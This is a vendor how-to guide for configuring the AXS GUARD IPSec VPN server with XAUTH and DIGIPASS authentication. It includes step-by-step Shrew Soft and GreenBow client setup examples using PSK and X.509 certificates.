IPSec XAUTH How To. Version 8.0.0

(1)

(2)

VASCO Data Security, Inc. and/or VASCO Data Security International GmbH are referred to in this document as ‘VASCO’. VASCO Products comprise Hardware, Software, Services and Documentation. This document addresses potential and existing VASCO customers and has been provided to you and your organization for the sole purpose of helping you to use and evaluate VASCO Products. As such, it does not constitute a license to use VASCO Software or a contractual agreement to use VASCO Products.

Disclaimer of Warranties and Limitations of Liabilities

VASCO Products are provided ‘as is’ without warranty or conditions of any kind, whether implied, statutory, or related to trade use or dealership, including but not limited to implied warranties of satisfactory quality, merchantability, title, non-infringement or fitness for a particular purpose.

VASCO, VASCO DISTRIBUTORS, RESELLERS AND SUPPLIERS HAVE NO LIABILITY UNDER ANY CIRCUMSTANCES FOR ANY LOSS, DAMAGE OR EXPENSE INCURRED BY YOU, YOUR ORGANIZATION OR ANY THIRD PARTY (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF PROFITS, BUSINESS INTERRUPTION OR LOSS OF DATA) ARISING DIRECTLY OR INDIRECTLY FROM THE USE, OR INABILITY TO USE VASCO SOFTWARE, HARDWARE, SERVICES OR DOCUMENTATION, REGARDLESS OF THE CAUSE OF THE LOSS, INCLUDING NEGLIGENCE, EVEN IF VASCO HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, OR IF THEY WERE FORESEEABLE. OUR MAXIMUM AGGREGATE LIABILITY TO YOU, AND THAT OF OUR DISTRIBUTORS, RESELLERS AND SUPPLIERS SHALL NOT EXCEED THE AMOUNT PAID BY YOU FOR THE PRODUCT. THE LIMITATIONS IN THIS SECTION SHALL APPLY WHETHER OR NOT THE ALLEGED BREACH OR DEFAULT IS A BREACH OF A FUNDAMENTAL CONDITION OR TERM, OR A FUNDAMENTAL BREACH. THIS SECTION WILL NOT APPLY ONLY WHEN AND TO THE EXTENT THAT APPLICABLE LAW SPECIFICALLY REQUIRES LIABILITY DESPITE THE FOREGOING EXCLUSIONS AND LIMITATIONS.

Intellectual Property and Copyright

VASCO Products contain proprietary and confidential information. VASCO Data Security, Inc. and/or VASCO Data Security International GmbH own or are licensed under all title, rights and interest in VASCO Products, updates and upgrades thereof, including copyrights, patent rights, trade secret rights, mask work rights, database rights and all other intellectual and industrial property rights. No part of these Products may be transferred, disclosed, reproduced or transmitted in any form or by any means, electronic, mechanical or otherwise, for any purpose, except as expressly permitted by VASCO or its authorized licensee in writing. This document is protected under US and international copyright law as an unpublished work of authorship. No part of it may be transferred, disclosed, reproduced or transmitted in any form or by any means, electronic, mechanical or otherwise, for any purpose, except as expressly permitted in writing by VASCO or its authorized licensee.

VASCO Trademarks

VASCO®, VACMAN®, IDENTIKEY®, aXsGUARD®, AXS GUARD®, GATEKEEPER™, DIGIPASS®, DIGIPASS as a Service™, MYDIGIPASS.COM™ and the ® logo are registered or unregistered trademarks of VASCO Data Security, Inc. and/or VASCO Data Security International GmbH in the U.S. and other countries. Other company brand or product names or other designations, denominations, labels and/ or other tags, titles, as well as all URLs (Internet addresses) linked to such designations or communications (irrespective of whether protected by intellectual property law or not), mentioned in VASCO Products may be the trademarks or registered trademarks or be part of any other entitlement of their respective owners.

Other Trademarks

Citrix® and XenServer® are trademarks or registered trademarks of Citrix Systems, Inc. VMware® and vSphere® are registered trademarks or trademarks of VMware, Inc. Hyper-V™ is a registered trademark of Microsoft Corporation.

Copyright

(4)

Chapter 1. Introduction

1.1. About this Document

• This document has been written for AXS GUARD version 8.0.0 and is based on changes and features that have been implemented since version 7.7.3.

• This document was last updated on 22 Dec 2014.

This AXS GUARD IPsec XAUTH How To serves as a reference source for technical personnel or system administrators who are looking for help to configure IPSec clients that need to connect to the AXS GUARD IPsec VPN Server.

The client setups provided in this guide have been configured on a computer running Windows XP Pro, SP2.

Details about the terminology used in this guide are available in the AXS GUARD IPsec How To, which can be accessed via the Documentation button in the Administrator Tool.

The IPSec client software used in this guide is available on the Internet and is merely used for example purposes. VASCO does not endorse or provide support for any particular brand or type of client software. Contact the software manufacturer for support or consult the online documentation.

In Chapter 1, Introduction, we introduce the AXS GUARD appliance and explain the difference between licensed and spare units.

In Chapter 2, Road Warrior Concepts, we explain the concept of road warriors.

In Chapter 3, IPSec Server Configuration, we explain how to configure the AXS GUARD IPSec server for road warrior connections

In Chapter 4, Configuration Examples, we provide two step-by-step configuration examples (PSK and X.509).

In Chapter 5, Troubleshooting, some solutions are offered to solve difficulties.

In Chapter 6, Support, we explain how to request support, and return hardware for replacement.

An index at the end of the document will help you to find specific information you are searching for.

1.2. Examples used in this Guide

All setups and configuration examples in this guide are executed as an advanced administrator. Some options are not available if you log on as a full administrator or a user with lower privileges.

(5)

• The AXS GUARD Installation Guide, where we explain how to set up an AXS GUARD appliance from scratch.

• The AXS GUARD System Administration How To, where we explain how to administer and maintain the appliance, e.g. how to schedule backups, install upgrade packages and how to configure various network components.

• Other manuals, where we provide detailed information on how to configure each of the available features, for example:

• AXS GUARD Authentication services • AXS GUARD Virtual appliances • AXS GUARD Firewall rules and policies

• AXS GUARD Single Sign-On for Firewall and Web Access • AXS GUARD VPN solutions

• AXS GUARD Reverse Proxy

• AXS GUARD Directory Services (LDAP Sync)

Other resources are also available, including:

• Context-sensitive help, via the web-based AXS GUARD administrator tool (the Help button).

• Training courses which cover each of the features in detail. These courses are organized on demand and address all levels of expertise. Please see http://www.vasco.com for further information.

1.4. About the AXS GUARD

1.4.1. Introduction

The AXS GUARD is an authentication appliance, intended for small and medium sized enterprises. In addition to strong authentication, the AXS GUARD has the potential to manage all of your Internet security needs. Its modular design means that optional features can be purchased at any time to support, for example, e-mail and Web access control. The AXS GUARD can easily be integrated into existing IT infrastructures as a stand-alone authentication appliance or as a gateway providing both authentication services and Internet Security.

Authentication and other features such as firewall, e-mail and Web access, are managed by security policies, which implement a combination of rules, for example, whether a user must use a DIGIPASS One-Time Password in combination with a static password for authentication. Security Policies are applied to specific users or groups of users and can also be applied to specific computers and the entire system.

1.4.2. Spare Units

A Spare Unit is an unlicensed appliance, with limited configuration possibilities and allows you to swiftly replace a defective appliance. It can also be licensed as a new appliance. In fact, all appliances can be considered spare units until they are licensed.

Restoring to a Spare Unit is restricted to:

• the same hardware version (e.g. AG-3XXX, AG-5XXX or AG7XXX) as the unit being replaced.

• the same software version as the appliance being replaced (or a higher version on which data migration is supported; please contact VASCO support ([email protected]) for guidance.

Once a backup is restored on a Spare Unit, full functionality is available. The configuration tool of the appliance can then be accessed by any user with administrative privileges (see the AXS GUARD System Administration How To.)

The license from the backup is also restored on the Spare Unit. However, an appliance with a restored license only remains operational for a grace period of 30 days, during which the System Administrator needs to acquire a new license. If a new license has not been issued after this grace period, all services on the appliance will be stopped. Only the Administrator Tool will remain accessible.

(6)

Contact VASCO support ([email protected]) to release the restored license of the original appliance. To relicense the appliance, follow the same procedure as used during first-time licensing.

1.4.3. Licensed Units

With a licensed appliance, a user with full administrative privileges has access to all the configuration options on the AXS GUARD. Use the sysadmin account to create a user with administrative privileges. Since the

sysadmin user can create new administrators, you should change the default password of this account when

you log in to the appliance for the first time.

Licensing and accessing a fully operational in-service appliance requires the following steps:

1. Logging on to the AXS GUARD as the default sysadmin user and changing the sysadmin password 2. Creating a new user with full administration rights, which is required to configure the AXS GUARD 3. Licensing the appliance

1.4.4. Configuration Wizards

Wizards are available for easy configuration.

1.5. About VASCO

VASCO is a world leader in strong authentication and e-signature solutions, specializing in online accounts, identities and transactions. As a global software company, VASCO serves a customer base of approximately 10,000 companies in over 100 countries, including approximately 1,500 international financial institutions. In addition to the financial sector, VASCO’s technologies secure sensitive information and transactions for the enterprise security, e-commerce and e-government industries.

(7)

Chapter 2. Road Warrior Concepts

2.1. Introduction

IPSec provides a versatile framework to set up an AXS GUARD VPN server to accept secure connections from roaming clients. These roaming clients are commonly called "Road Warriors", because they are most typically laptops with dedicated IPSec client software that are being used from remote locations, e.g. from a hotel or an airport.

IPSec Road Warrior configurations allow authorized users to securely connect to the corporate network. They provide data integrity, confidentiality and authentication over the insecure Internet.

Figure 2.1. Road Warrior Concept

2.2. Host Authentication

Host authentication guarantees that the host that is sending data is the host it claims to be and not some rogue host or device. Several methods are available to authenticate IPsec clients (hosts).

• PSK: A Pre-Shared Key (PSK) is a method to authenticate hosts using of the Public Key Infrastructure (PKI) and its inherent intensive calculations. The Pre-Shared Key is only known by the client and the server and may never be disclosed, otherwise data authenticity and integrity cannot be ensured.

• RSA Authentication: RSA is an asymmetric encryption algorithm, which is also used to authenticate hosts. The authentication mechanism uses the Public Keys of the communicating hosts to verify hashed messages, thus authenticating the hosts to each other.

• PKI: The Public Key Infrastructure is a networked infrastructure, which allows safe creation, organization, storing and distribution of Public Keys (via Digital Certificates). PKI provides identity inspection and assurance via a Digital Certificate, such as X.509.

For detailed information about host authentication, see the AXS GUARD IPSec How To, which is accessible via the Documentation button in the Administrator Tool.

(8)

2.3. Extended Authentication (XAUTH)

Extended authentication or XAUTH provides an additional level of authentication (in addition to host authentication) in that the IPSec gateway requests user credentials before any data transfer can take place. This extended authentication phase, which we will call “Phase 1.5” for the sake of clarity, takes place between the IPsec Phase 1 and Phase 2 negotiation (see Figure 2.2, “IPSec XAUTH Concept”).

For detailed information about the IPSec phases, see the AXS GUARD IPsec How To, which can be accessed via the Documentation button in the Administrator Tool. Following is a brief description of the IPsec Phases.

• Phase 1: Negotiates how IKE should be protected. Encryption, Integrity and Authentication Algorithms are negotiated. Peers are authenticated and the SAs for IKE are set up. In short, a Control Channel is initiated. • Phase 2: Negotiates how IPsec should be protected. Phase 2 uses the SAs from Phase 1 and sets up the unidirectional SAs for ESP . Some fresh keying material is derived from the key exchange in Phase 1 to provide session keys to be used in the encryption and authentication of the VPN (IPsec) data flow. In short, a Data Channel is set up.

Figure 2.2. IPSec XAUTH Concept

Advantages

The advantage of XAUTH is that only a single server-side Tunnel Definition must be configured to allow connections for multiple Road Warriors, as opposed to tunnels between IPSec servers, which require separate Tunnel Definitions.

The AXS GUARD allows the implementation of various extended authentication methods for IPSec, such as DIGIPASS authentication and RADIUS back-end authentication. For additional information about supported authentication methods, seethe AXS GUARD Authentication How To, which is accessible via the

Documentation button in the Administrator Tool.

(9)

(10)

Chapter 3. IPSec Server Configuration

3.1. Configuration Overview

In this section, we explain how to configure the AXS GUARD IPSec VPN server to accept Road Warrior connections. For details about the IPSec framework and instructions pertaining to Tunnel Definitions, see the AXS GUARD IPSec How To, which is accessible via the Documentation button in the Administrator Tool.

1. Go to Feature Activation > VPN & RAS and enable IPSec.

2. Go to PKI > Certificates to issue or add certificates for the IPSec server and the IPSec clients. 3. Go to VPN & RAS > IPSec > General and configure the AXS GUARD IPSec server.

4. Go to VPN & RAS > IPSec > Tunnels to create your Tunnel Definition(s) and enable XAUTH. 5. Go to Authentication > Services to configure the Authentication Policy for IPSec road warriors. 6. Configure your IPSec clients.

3.2. Feature Activation

1. Log on to the AXS GUARD as explained in the System Administration guide. 2. Go to System > Feature Activation > VPN & RAS

3. Check Do you use VPN IPSec? and update your configuration.

Figure 3.1. IPSec Feature Activation

(11)

3.4. IPSec General Settings

In this section, we explain the general IPSec configuration settings, such as the server Certificate, the NAT Traversal option and DHCP settings to be used by Road Warriors (see Section 2.1, “Introduction”). For details about NAT Traversal and Certificates, see the AXS GUARD IPSec How To, which is accessible via the

To configure the general settings for IPSec Road Warriors on the AXS GUARD:

1. Navigate to VPN & RAS _⇒ IPsec _⇒ General. A screen as shown below is displayed. 2. Enter the settings as explained in the tables below.

3. Click on Update.

Figure 3.2. IPsec General Settings

Option Description

Enable Asynchronous Crypto Acceleration

The Crypto API supports asynchronous data processing, which allows you to benefit from dedicated hardware, instruction sets (such as AES-NI) and multi-processor systems.

Enable NAT Traversal Applies to all setups, i.e. Road Warriors and site-to-site tunnels. NAT Traversal is sometimes required even when the peers are not NATed, e.g. when a router is not forwarding ESP traffic. Checking this option does not automatically enable NAT traversal for all configured tunnels; it will only present a new option to force NAT traversal per tunnel. You must specify which tunnel(s) require NAT traversal.

(12)

Server Certificate This option is only relevant for IPSec Road Warriors. Select the appropriate X.509 certificate. Go to PKI > Certificates for an overview of certificates on your system.

Table 3.1. Overview of IPSec General Settings

Use static IP addresses only This is the default configuration. Select this option if you are configuring the IP addresses of clients manually.

IP of DHCP Server in the LAN Forwards DHCP requests of IPSec clients to the specified server in the secure LAN.

Table 3.2. DHCP for IPSec

3.5. Creating Tunnel Definitions

1. Navigate to VPN & RAS _⇒ IPsec _⇒ Tunnels 2. Click on Add New.

3. Enter the tunnel parameters as explained in the following sections.

Figure 3.3. Creating new Tunnel Definitions

Mind the difference between: • RSA Authentication • PSK Authentication

• X.509 Authentication (Only applies to road warriors and 3rd-party appliances)

(13)

Parameter Description

Name Enter a name for the new tunnel. Invalid names will generate an error.

Enabled Check to automatically start the tunnel as soon as all security associations are configured.

Description Descriptions are optional, but useful if you have a lot of tunnels to manage. E-tunnel Standard IPSec tunnels restrict traffic between the subnets specified in the security

associations, which also means that separate SAs have to be created for each subnet pair that needs to be connected. This requires a lot of configuration, especially in complex situations and large networks. E-tunnels are special IPSec tunnels which overcome this constraint by using Virtual Endpoint IP addresses in combination with the GRE protocol (defined per RFC 2784). E-tunnels also support back-up tunnels. Failure of the main tunnel is detected by the IPSec framework which automatically switches to the secondary tunnel. In a High Availability environment, where master and slave units are used, the master unit can function as a primary tunnel endpoint, whereas the slave unit can function as an endpoint for the secondary tunnel.

Authentication Select the desired host authentication method for phase 1. Note that X.509 authentication should only be selected for Road Warriors.

• Public RSA keys: Select this option to perform IPSec authentication by means of public RSA keys. By exchanging their public RSA keys, hosts can encrypt and decrypt traffic. There are some constraints with this type of authentication; the keys should be generated more or less in the same way at both sides. One parameter to consider is the key strength.

• Pre-shared Key: Select this option to perform IPSec authentication by means of a pre-shared key (PSK), i.e. a unique key that is known by both sides of the connection. A pre-shared Key is a string of characters that must be identical on both sides of the IPSec tunnel.

• X.509: Select this option to perform IPSec authentication by means of X.509 certificates (road warriors only). To support X.509, the CA of the appliance must be initialized, a server certificate must be generated and configured under IPSec > General. L2TP uses this kind of authentication; the appliance listens for incoming connections from clients with a valid certificate, which is used to set up the encrypted IPSec tunnel.

(14)

3.5.2. Phase 1 Parameters (IKE)

Figure 3.5. Phase 1 Local Settings

IKE Definition The encryption and hashing algorithms to be used for the key exchange (host authentication). For an overview of IKE definitions on your system, go to VPN & RAS > IPSec > IKE. IKE lifetime in

minutes

Specify how long the keyed channel of a connection (ISAKMP SA) should last before it must be renegotiated. The minimum value is 19 minutes, 480 minutes is the maximum value. You can use different values on both sides of the connection.

RSA-specific parameters

• RSA key strength: Select the strength of the RSA key pair used on this end of the tunnel. A key strength of 1024 bits is considered a minimum, whereas 2048 bits is a recommended value. The RSA key strength may differ on both sides of the connection, although this is not recommended from a security perspective.

• Local public key: The RSA key that is automatically generated by the appliance. Only valid base-64 keys are supported.

• Remote public key: The public RSA key of the remote appliance. Log in to the remote appliance and copy / paste its key in this field.

PSK-specific parameters

Enter the pre-shared key to be used on both sides of the connection. Use a long, complex key.

(15)

3.5.3. Phase 2 Parameters (ESP)

Figure 3.6. Phase 2 Settings

ESP Definition Select the ESP definition to be used for phase 2, which includes a hashing and an encryption algorithm. For an overview of ESP definitions on your system, go to VPN & RAS > IPSec > ESP.

Key lifetime in minutes Specify how long a particular instance of a keyed connection should last, from negotiation to expiry. Supported values range from 5 minutes up to 1440 minutes. The factory default value is 480 minutes. This value can be different on both sides of the connection.

Local parameters • Local identifier type: Choose the desired identifier type. This is how the local side of the tunnel identifies itself when connecting to the remote side. • Local identifier: This option only appears if you have selected "other" as the

local identifier type. A local identifier is a string that uniquely identifies this side of the tunnel. On the remote side, you must configure the "remote identifier type" to match the local configuration.

• Local virtual endpoint IP: This option only appears only if the "AXS GUARD appliance E-tunnel" option has been selected. Enter a virtual endpoint IP for the local side of the connection.

(16)

• Local network: This option is only available if the "AXS GUARD appliance E-tunnel" option has not been selected. Enter the network address of the local network, using the CIDR notation, e.g. 192.168.0.0/24.

• Allowed protocols and ports: Specify the protocols and/or ports that are allowed to pass through the IPSec tunnel. The specification consists of a string in the following form: protocol/port. The protocol can be referenced either by name or by number, e.g. tcp or 6 for TCP connections. The port can be can also be referenced by name or by number, e.g. smtp or 25. A value of 0 means that traffic is unrestricted at the application level.

Table 3.5. Phase 2 Local Parameters

Enable the Road Warrior option to allow IPSec road warrior connections.

Remote identifier type Select the appropriate identifier as configured on the remote appliance.

Remote identifier This option is only available if you selected "other" as the local identifier type. Enter the unique string which identifies the remote tunnel.

Remote virtual endpoint IP This option only appears only if the "AXS GUARD appliance E-tunnel" option has been selected. Enter the virtual endpoint IP used by the remote side of the connection.

Road Warrior Definition Select this option to configure the tunnel definition to listen for road warrior connections.

Remote network within This option appears if you selected "Road Warrior Definition". In order to be able to service multiple road warrior clients with a single tunnel definition, you can configure a range of virtual IPs for different road warrior clients. Enter

0.0.0.0/0 to allow any IP.

Remote network The LAN address of the remote server. Use the CIDR notation, e.g.

192.168.0.0/24.

Allowed protocols and ports Leave empty to allow all applications. Restrict application traffic by specifying the protocol(s) and port number(s) that should be allowed. Use a forward slash as a separator. For example: 17/1701 only allows L2TP traffic through the tunnel. A list of protocol numbers is available on http://www.iana.org/assignments/ protocol-numbers/protocol-numbers.xhtml

(17)

3.5.4. Advanced IPSec Options

Figure 3.7. Advanced Tunnel Settings

Parameter Definition

MTU A Maximum Transfer Unit (MTU) restriction for data entering the local side of the tunnel. Enable XAUTH XAUTH or eXtended Authentication is an additional authentication layer enforced by the

IPSec protocol. It is an extension of the phase1 negotiation (authentication) provided by the IKE which requires users to provide extra credentials, such as a username and one-time password.

Enable compression Compresses all traffic passing through the tunnel if checked. Enable Aggressive

Mode

If enabled, Aggressive Mode will be used instead of Main Mode (default) during phase 1. Aggressive Mode is less secure, vulnerable to Denial Of Service (DoS) and brute force attacks. Its use is not recommended, especially with XAUTH and group secrets (PSK). Aggressive Mode is limited to a single proposal; there is no room for negotiation.

Force NAT

Traversal

Forces RFC 3948 encapsulation if checked. If ESP packets are filtered or if an IPSec peer does not properly perform NAT, it can be useful to force RFC 3948 encapsulation. This option is only available if "Enable NAT Traversal" is checked under IPSec > General.

Dead Peer Detection If enabled, the appliance periodically verifies if the IPSec tunnel is still alive.

• Delay in seconds: The time between keepalive checks in seconds. The default value is 30 seconds.

• Timeout in seconds: The time frame after which the peer will be assumed dead if no response is received. The default value is 120 seconds.

Table 3.7. Advanced IPSec Options

3.6. Extended Authentication Settings

1. Log on to the AXS GUARD appliance. 2. Navigate to Authentication > Services.

(18)

3. Click on IPSec XAUTH.

4. Select the Authentication Policy for IPSec road warriors. 5. Update your configuration.

Figure 3.8. IPSec Extended Authentication Settings

Field Description

Service The AXS GUARD service to be configured. This field cannot be edited. Authentication Policy The authentication policy determines how users must authenticate to access the

service. Go to Authentication > Advanced > Policy for an overview of policies configured on your system.

Brute Force Attack Protection Enable to protect the selected service against brute force attacks as configured under Authentication > General.

(19)

Chapter 4. Configuration Examples

4.1. IPSec Client with PSK Authentication

4.1.1. Overview

The IPSec client software used in this guide is available on the Internet and is merely used for example purposes. VASCO does not endorse or provide support for any particular brand or type of client software. Contact the software manufacturer for support and documentation.

In this section, we explain:

• How to prepare the AXS GUARD IPSec server so that Road Warriors (client side) can connect to it using a PSK and DIGIPASS authentication.

• How to download and install the free Shrew Soft IPsec client side software.

• How to configure the IPSec client to use a PSK and enforce DIGIPASS authentication (using the Shrew Soft IPsec client, version 2.1.4) in Windows XP SP2.

4.1.2. Server-Side Configuration

If you are already familiar with the AXS GUARD IPSec server configuration, you may skip to Section 4.1.3, “Client-Side Configuration”.

In this manual, we assume that you have a single AXS GUARD LAN that must be accessible to IPSec clients. The setup for multiple secure LANs is outside the scope of this manual.

• The example client configuration in Section 4.1.3, “Client-Side Configuration” is based on the AXS GUARD IPSec VPN server configuration below.

• Other settings, such as the Network, DNS and authentication settings are fully explained in the AXS GUARD System Administration How To and the Authentication How To. These documents can be accessed by clicking on the permanently available Documentation button in the Administrator Tool.

4.1.2.1. General IPSec Settings

In this section, we explain how to configure some general IPSec server settings, such as NAT Traversal and DHCP.

For detailed information about PKI, X.509, NAT Traversal and general IPSec configuration settings, see the AXS GUARD IPSec How To, which is accessible via the Documentation button in the Administrator Tool.

To configure general IPSec settings:

1. Log on to the AXS GUARD appliance. 2. Navigate to VPN & RAS > IPSec > General.

3. Enter the settings as shown below and update your configuration. • Enable NAT Traversal

(20)

Figure 4.1. IPSec General Settings

4.1.2.2. Phase 1 Settings

In this section, we explain how to configure a Tunnel Definition with PSK authentication for use with the Shrew Soft IPSec client.

1. Navigate to VPN & RAS > IPSec > Tunnels. 2. Click on Add New.

(21)

4.1.2.4. Advanced IPSec Options

(22)

4.1.2.5. Authentication Settings

In this example, we explain how to configure DIGIPASS authentication for IPSec.

For detailed information about other authentication mehods, see the AXS GUARD Authentication How To, which is accessible via the Documentation button in the Administrator Tool.

To configure authentication settings:

1. Navigate to Authentication > Services. 2. Click on IPSec XAUTH.

3. Select DIGIPASS authentication. 4. Update your configuration.

(23)

4.1.2.6. User Account Settings

To enforce DIGIPASS authentication for the IPSec VPN service, you need to make sure that:

• The user has been assigned a DIGIPASS.

• The user is allowed access to the AXS GUARD IPSec VPN service (at the group or user level).

1. Navigate to Users & Groups > Users. 2. Select the appropriate user from the list.

3. Verify if the user has been assigned a DIGIPASS token. Assign a token if necessary.

Figure 4.3. DIGIPASS Assignment

4.1.3. Client-Side Configuration

4.1.3.1. Installation

The installation of the Shrew Shoft IPSec client is simple and similar to any other Windows program:

1. Log on to Windows with administrator privileges.

2. Download the Shrew Soft IPsec Client from: http://www.shrew.net/download

3. Start the installation by double-clicking the installation executable and follow the on-screen instructions. No reboot is required after installation.

4.1.3.2. Configuration

1. Click on Start.

2. Navigate to All Programs > Shrew Soft VPN Client.

(24)

Figure 4.4. Shrew Soft VPN Access Manager

To add an IPSec connection:

1. Click on Add.

2. Enter the settings as explained further (per tab).

General Tab

1. Enter the Public IP address or host name of the AXS GUARD you are connecting to, e.g. 195.0.83.11

or axsguard.yourdomain.com. 2. Leave the Port number unchanged (500). 3. Set the Auto Configuration to disabled.

4. Set the Address Method to Use a virtual adapter and assigned address. 5. Leave the MTU unchanged (1380).

6. Enter the virtual adapter’s IP address, e.g. 192.168.11.100. Make sure that this IP address is not used in the LAN of the AXS GUARD you are connecting to. If you are unsure about the IP address, use one in another range, e.g. 10.0.0.5.

(25)

Figure 4.5. Shrew Soft VPN General Tab

Client Tab

1. Enable NAT Traversal.

2. Leave the NAT Traversal port unchanged (4500). 3. Leave the Keep-alive packet rate unchanged (15). 4. Leave the IKE Fragmentation unchanged (enable). 5. Leave the Maximum packet size unchanged (540). 6. Enable Dead Peer Detection.

(26)

Figure 4.6. Shrew Soft VPN Client Tab

Name Resolution Tab

1. Do not enable WINS. 2. Enable DNS.

3. Enter the DNS server’s IP address. This is the LAN IP address of the AXS GUARD, e.g.

192.168.11.254 (see tip below).

4. Enter the DNS Suffix of the domain used in your network (see tip below). 5. Do not enable Split DNS.

(27)

Figure 4.7. Shrew Soft VPN Name Resolution Tab

• To view the LAN IP address of your AXS GUARD, navigate to: Network > Devices > Eth and select the appropriate secure device

• You may also use the Active Directory DNS in your network, if available.

Authentication Tab

1. Set the authentication Method to Mutual PSK + XAUTH.

2. In the Local Identity Tab, set the Identification Type to IP address. 3. Check Use a discovered local host address.

4. In the Remote Identity Tab, set the Identification Type to IP address.

5. Enter the Public IP address of the AXS GUARD you are connecting to. This is the same IP address as entered in the General Tab.

6. Do not check Use a discovered remote host address.

7. Enter the Pre-Shared Key in the Credentials Tab. This is the same Key as entered on the AXS GUARD (see Section 4.1.2.2, “Phase 1 Settings”).

(28)

Figure 4.8. Shrew Soft VPN Authentication Tab

Use long and complex strings when using PSK authentication (see Section 4.1.2.2, “Phase 1 Settings”).

Phase 1 Tab

1. Set the Exchange Type to main. 2. Set the DH Exchange to auto. 3. Set the Cipher Algorithm to AES. 4. Set the Cipher Key Length to auto. 5. Set the Hash Algorithm to MD5.

6. Leave the Key Life Time limit unchanged (86400). 7. Leave the Key Life data limit unchanged (0).

(29)

Figure 4.9. Shrew Soft VPN Phase 1 Tab

Phase 2 Tab

1. Set the Transform Algorithm to ESP-AES. 2. Set the Transform Key Length to 128 bits. 3. Set the HMAC Algorithm to SHA1. 4. Set the PFS Exchange to auto.

5. Set the Compress Algorithm to disabled. 6. Leave the Key Life Time limit unchanged (3600). 7. Leave the Key Life data limit unchanged (0).

(30)

Figure 4.10. Shrew Soft VPN Phase 2 Tab Policy Tab

1. Check Maintain Persistent Security Associations.

2. Do not check Obtain Topology Automatically or Tunnel All.

(31)

4. Set the Type to Include.

5. Enter the LAN IP Network address of the AXS GUARD, e.g. 192.168.11.0 (see Section 4.1.2.2, “Phase 1 Settings”).

6. Enter the LAN Netmask of the AXS GUARD, e.g. 255.255.255.0 (see Section 4.1.2.2, “Phase 1 Settings”).

7. Click on OK.

Figure 4.12. Shrew Soft VPN Topology Entry

4.1.3.3. Testing your Connection

1. Start the Shrew Soft VPN Access Manager as explained in Section 4.1.3.2, “Configuration”. 2. Select the Connection you have created.

3. Click on Connect. A screen as shown below appears.

Figure 4.13. Connection to IPSec Endpoint

4. Enter the AXS GUARD user name. 5. Generate and enter the DIGIPASS OTP.

6. Press enter or click on Connect. Information about the connection is displayed as shown in the image below.

(32)

Figure 4.14. Connection to IPSec Enabled

7. Once the tunnel is up, open a Windows command prompt (Navigate to Start > Run and type cmd followed by enter).

8. Ping the LAN IP address of the AXS GUARD, e.g. ping 192.168.11.254 (see below). 9. Test your DNS settings by pinging the internal host name of the AXS GUARD (see below).

(33)

• If you can ping the IP address of the AXS GUARD, but not the host name, the problem is DNS-related. Verify the DNS configuration settings of your client if necessary.

• If you are using an Active Directory (AD) DNS server, make sure that the internal host name of the AXS GUARD is correctly added to its DNS repository. Consult the documentation of your AD server if necessary.

4.2. IPSec Client with X.509 Authentication and PFS

4.2.1. Overview

In this section, we explain:

• How to prepare the AXS GUARD so that Road Warriors can connect to it using X.509 Certificates and DIGIPASS authentication.

• How to download the commercial GreenBow IPSec client software. The software may be tested free of charge for a period of 30 days.

• How to configure the IPSec client to use and X.509 client Certificate and DIGIPASS authentication (using the GreenBow IPSec client, release 4.51.001) in Windows XP (SP2).

4.2.2. Server-Side Configuration

If you are already familiar with the AXS GUARD IPSec server configuration, you may skip to Section 4.2.3, “Client-Side Configuration”. In this manual, we assume that you have a single AXS GUARD LAN that must be accessible to IPSec clients. The setup for multiple secure LANs is outside the scope of this manual.

• The client software configuration in Section 4.2.3, “Client-Side Configuration” is based on the AXS GUARD IPSec VPN server setup example provided in the following sections.

• Other settings, such as the Network, DNS and authentication settings are fully explained in the AXS GUARD System Administration How To and the Authentication How To. These documents can be accessed by clicking on the permanently available Documentation button in the Administrator Tool.

4.2.2.1. General IPSec Settings

For details about PKI, X.509, NAT Traversal and general IPSec configuration settings, see the AXS GUARD IPSec How To and the PKI How To, which are accessible via the Documentation button in the Administrator Tool.

• Use the same settings as explained in Section 4.1.2.1, “General IPSec Settings”.

• Select the correct Server Certificate serial as explained in Section 4.1.2.1, “General IPSec Settings”.

Configure your clients in accordance with the settings that apply to your network environment.

4.2.2.2. About X.509 Certificates

To deploy IPSec Road Warriors, you must use the AXS GUARD CA to issue the appropriate certificates. The concept and use of the AXS GUARD PKI are fully explained in the PKI How To, which can be downloaded by

(34)

clicking on the Documentation button in the administrator tool. What follows is an overview of what is covered in this manual.

• How to initialize the CA • How to generate certificates

• How to import, export and revoke certificates • How to configure automatic notifications

4.2.2.3. Creating an ESP Definition with PFS Support

Detailed information about IKE and ESP Definitions is available in the AXS GUARD IPSec How To, which is accessible via the Documentation button. In our example, we create a new ESP Definition using AES, SHA1 and PFS:

1. Navigate to VPN & RAS > IPSec > ESP. 2. Click on Add New.

3. Enter the settings as shown below. 4. Save the ESP definition.

(35)

(36)

4.2.2.5. Phase 2 Settings

Figure 4.18. IPSec Phase 2 Settings

4.2.2.6. Advanced IPSec Options

(37)

4.2.2.7. Authentication Settings

Use the same settings as explained in Section 4.1.2.5, “Authentication Settings”.

For details about authentication, see the AXS GUARD Authentication How To, which is accessible via the

4.2.2.8. User Account Settings

To enforce DIGIPASS authentication for the IPSec VPN service, you need to make sure that:

• The user has been assigned a DIGIPASS.

• The user is allowed access to the AXS GUARD IPSec VPN service (at the group or user level).

1. Navigate to Users & Groups > Users. 2. Select the appropriate user from the list.

(38)

Figure 4.19. DIGIPASS Assignment

4.2.3. Client-Side Configuration

4.2.3.1. Installation

The installation of the client is simple and similar to any other Windows program:

1. Log on to Windows XP with administrator privileges.

2. Download the GreenBow IPSec Client from: http://www.thegreenbow.com/vpn_down.html

3. Start the installation by double-clicking on the installation executable and follow the on-screen instructions. 4. Reboot your system after installing the client.

4.2.3.2. Configuration

1. Click on Start.

2. Navigate to All Programs > The GreenBow > The GreenBow VPN.

(39)

Figure 4.20. GreenBow VPN Client Configuration Screen To add an IPsec connection:

1. Click on the Root icon as shown below. 2. Right click and select New Phase 1.

Figure 4.21. Creating a new Phase 1

To add an IPsec connection (Phase 1 configuration):

(40)

2. Set the Interface to Any.

3. Enter the Public IP address or Public host name of the AXS GUARD you are connecting to, e.g.

195.0.83.11 or axsguard.yourdomain.com, in the Remote Gateway field. 4. Check the Certificate option.

5. Set the IKE encryption to AES 128. 6. Set the IKE authentication to MD5. 7. Select DH Group 5 (1536).

Figure 4.22. General Phase 1 Settings

To import a Client Certificate:

1. Click on the Certificates Import button (see Figure 4.22, “General Phase 1 Settings”). 2. Set the Certificate location and type to Certificate from a PKCS#12 file.

3. Click on Import. A window will open to locate the certificate.

